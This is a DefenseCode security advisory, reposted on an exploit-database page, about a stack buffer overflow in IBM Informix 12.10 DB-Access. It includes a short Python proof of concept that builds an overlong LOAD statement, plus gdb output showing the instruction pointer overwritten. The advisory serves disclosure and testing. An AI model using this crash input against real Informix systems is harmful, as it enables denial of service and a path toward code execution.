Lucene search
K

IBM Informix 12.10 DB-Access Buffer Overflow Exploit

🗓️ 12 Jul 2017 00:00:00Reported by Leon JuranicType 
zdt
 zdt
🔗 0day.today👁 36 Views

IBM Informix 12.10 DB-Access Buffer Overflo

Code
IBM Informix DB-Access Buffer Overflow


Advisory Title: IBM Informix DB-Access Buffer Overflow
Advisory URL:
http://www.defensecode.com/advisories/DC-2017-04-001_IBM_Informix_DB-Access_Buffer_Overflow.pdf
Software: IBM Informix
Version: 12.10
Vendor Status: Vendor Contacted / Not Fixed
Release Date: 11.07.2017
Risk: High



1. General Overview
===================
IBM Informix DB-Access utility is vulnerable to a stack based buffer
overflow,
caused by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly long
file parameter value inside a LOAD statement, which is used to insert data
from an operating-system file into an existing table or view.


2. Software Overview
===================
Informix is one of the worldas most widely used database servers with users
ranging from the worldas largest corporations to start-ups. IBM Informix
incorporates design concepts that are significantly different from
traditional
relational platforms, resulting in extremely high levels of performance and
availability, distinctive capabilities in data replication and
scalability, and
minimal administrative overhead.

The DB-Access utility is included with the Informix server and with the
Informix
Client Software Development Kit. DB-Access provides a menu-driven
interface for
entering, running, and debugging SQL statements and Stored Procedure
Language
routines. DB-Access can also be ran interactively from the command line.


3. Brief Vulnerability Description
==================================
By providing a specially crafted command file to the DB-Access command line
utility it is possible to cause a buffer overflow, overwriting the
instruction
pointer (EIP) and thus hijack the execution flow of the program. Crafted
file
contains a LOAD statement with an overly long file parameter that will
overwrite EIP.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash
test
file that can be used to verify the vulnerability:

-------
#!/usr/bin/python

load_overflow = 'A' * 5000
statement = "LOAD FROM '" + load_overflow + " test' INSERT INTO example;"

crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()
-------

PoC usage: dbaccess <name of existing database> crash.sql

-------
Registers state following the overflow:

(gdb) i r
eax            0xffffffff    -1
ecx            0xb7bf4d00    -1212199680
edx            0x0    0
ebx            0x41414141    1094795585
esp            0xbfffce40    0xbfffce40
ebp            0x41414141    0x41414141
esi            0x41414141    1094795585
edi            0x41414141    1094795585
eip            0x41414141    0x41414141
-------

PoC tested on: Informix Innovator-C Edition for Linux x86 32


4. Solution
==========
The vulnerability has not been addressed by vendor in a 90 days period
following the submission. Vendor has expressed an intention of fixing the
vulnerability in a future update.


5. Credits
==========
Vulnerability discovered by Leon Juranic, further analysis by Bosko
Stankovic.

#  0day.today [2018-03-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation